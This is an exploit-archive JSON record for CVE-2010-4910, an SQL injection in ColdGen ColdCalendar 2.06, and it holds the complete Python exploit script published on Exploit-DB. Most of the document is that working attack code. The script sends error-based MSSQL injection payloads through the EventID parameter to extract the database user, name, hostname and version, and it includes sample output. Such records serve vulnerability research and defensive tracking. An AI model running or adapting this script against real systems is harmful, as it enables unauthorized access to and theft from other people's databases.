{"exploit":{"id":"EDB-14932","name":"ColdGen ColdCalendar 2.06 - SQL Injection (SQLi)","description":"ColdGen ColdCalendar 2.06 - SQL Injection (SQLi)","cves":["CVE-2010-4910"],"author":"mr_me","published":"2010-09-07","platform":"windows","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/14932","path":"exploits/windows/webapps/14932.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-14932.py","vulnerabilities":[{"id":"CVE-2010-4910","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.cfm in ColdGen ColdCalendar 2.06 allows remote attackers to execute arbitrary SQL commands via the EventID parameter in a ViewEventDetails action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-4910","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-4910"},"updatedAt":"2024-08-07T04:02:30.480Z","retrievedAt":"2026-11-27T05:12:40.379Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-14932.png?v=2","url":"https://exploitbin.com/exploits/EDB-14932","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-14932/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-14932/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# ColdGen - coldcalender v2.06 Remote 0day SQL Injection Exploit\n# Vendor: http://www.coldgen.com/\n# Found by: mr_me\n# ----------------------------------------------->\n# Script provided 'as is', without any warranty.\n# Use for educational purposes only.\n# Do not use this code to do anything illegal !\n# ----------------------------------------------->\n# The vulnerability:\n# ===================\n# - SQL Injection in the index.cfm using parameters: EventID\n#\n# This tool assumes the target has a MSSQL backend.\n# ./ColdCal0day.py -p localhost:8080 -t localhost:8500 -d /coldcal/\n#\n# \t| ----------------------------------------------------------- |\n# \t|  -= ColdCalender v2.06 Remote 0day SQL Injection Exploit =- |\n# \t| --------------[ by mr_me - net-ninja.net ]----------------- |\n#\n# (+) Exploiting target @: http://localhost:8500/coldcal/\n#\n# (+) Testing Proxy...\n# (+) Proxy @ localhost:8080\n# (+) Building Handler..\n#\n# (!) Found database version:\n#\n# \tMicrosoft SQL Server 2005 - 9.00.3042.00 (Intel X86)\n# \tAug  19 2006 20:47:07\n# \tCopyright (c) 1988-2005 Microsoft Corporation\n# \tEnterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)\n#\n# (!) Found database hostname: 127.0.0.1\n#\n# (!) Found database user: sa\n#\n# (!) Found database name: coldcal\n\nimport sys, httplib, urllib2, urllib, re\nfrom optparse import OptionParser\n\nusage = \"./%prog [<options>] -t [target] -d [directory]\"\nusage += \"\\nExample: ./%prog -p localhost:8080 -t localhost:8500 -d /coldcal/\"\n\nparser = OptionParser(usage=usage)\nparser.add_option(\"-p\", type=\"string\",action=\"store\", dest=\"proxy\",\n                  help=\"HTTP Proxy <server:port>\")\nparser.add_option(\"-t\", type=\"string\", action=\"store\", dest=\"target\",\n                  help=\"The Target server <server:port>\")\nparser.add_option(\"-d\", type=\"string\", action=\"store\", dest=\"directory\",\n                  help=\"Directory path to the CMS\")\n(options, args) = parser.parse_args()\n\ndef banner():\n    print \"\\n\\t| ----------------------------------------------------------- |\"\n    print \"\\t|  -= ColdCalender v2.06 Remote 0day SQL Injection Exploit =- |\"\n    print \"\\t| --------------[ by mr_me - net-ninja.net ]----------------- |\\n\"\n\nif len(sys.argv) < 5:\n\tbanner()\n\tparser.print_help()\n\tsys.exit(1)\n\ndef getProxy():\n\ttry:\n\t\tpr = httplib.HTTPConnection(options.proxy)\n\t\tpr.connect()\n\t\tproxy_handler = urllib2.ProxyHandler({'http': options.proxy})\n\texcept(socket.timeout):\n\t\tprint \"\\n(-) Proxy Timed Out\"\n\t\tsys.exit(1)\n\texcept(),msg:\n\t\tprint \"\\n(-) Proxy Failed\"\n\t\tsys.exit(1)\n\treturn proxy_handler\n\ndef setTargetHTTP():\n\tif options.target[0:7] != 'http://':\n\t\toptions.target = \"http://\" + options.target\n\treturn options.target\n\ndef getRequest(exploit):\n\tif options.proxy:\n\t\ttry:\n\t\t\tproxyfier = urllib2.build_opener(getProxy())\n\t\t\tcheck = proxyfier.open(options.target+options.directory+exploit).read()\n\t\texcept urllib2.HTTPError, error:\n\t\t\tcheck = error.read()\n\t\texcept socket.error:\n\t\t\tprint \"(-) Proxy connection failed\"\n\t\t\tsys.exit(1)\n\telse:\n\t\ttry:\n\t\t\treq = urllib2.Request(options.target+options.directory+exploit)\n\t\t\tcheck = urllib2.urlopen(req).read()\n\t\texcept urllib2.HTTPError, error:\n\t\t\tcheck = error.read()\n\t\texcept urllib2.URLError:\n\t\t\tprint \"(-) Target connection failed, check your address\"\n\t\t\tsys.exit(1)\n\treturn check\n\nbasicInfo = {'user: ':'user_name()', 'name: ':'db_name()', 'hostname: ':'host_name()','version: \\n\\n\\t':'@@version'}\n\ndef basicSploit(info):\n\treturn \"index.cfm?fuseaction=ViewEventDetails&EventID=1+and+1=convert(int,\" + info + \")--\"\n\nif __name__ == \"__main__\":\n\tbanner()\n\toptions.target = setTargetHTTP()\n\tprint \"(+) Exploiting target @: %s\" % (options.target+options.directory)\n\tif options.proxy:\n\t\tprint \"\\n(+) Testing Proxy...\"\n\t\tprint \"(+) Proxy @ %s\" % (options.proxy)\n\t\tprint \"(+) Building Handler..\"\n\n\tfor key in basicInfo:\n\t\tgetResp = getRequest(basicSploit(basicInfo[key]))\n\t\tif re.findall(\"the nvarchar value '\", getResp):\n\t\t\tdbInfo = getResp.split('the nvarchar value '')[1].split('' to data type int')[0]\n\t\t\tprint \"\\n(!) Found database %s%s\" % (key, dbInfo.rstrip())","sha256":"358494e4c99657aad4e891039b5052a1ccfe11474b39df6827b98cf30cbcbf84","bytes":4075,"fetchedAt":"2026-11-27T05:12:38.634Z","encoding":"utf-8 (display only; download retains original bytes)"}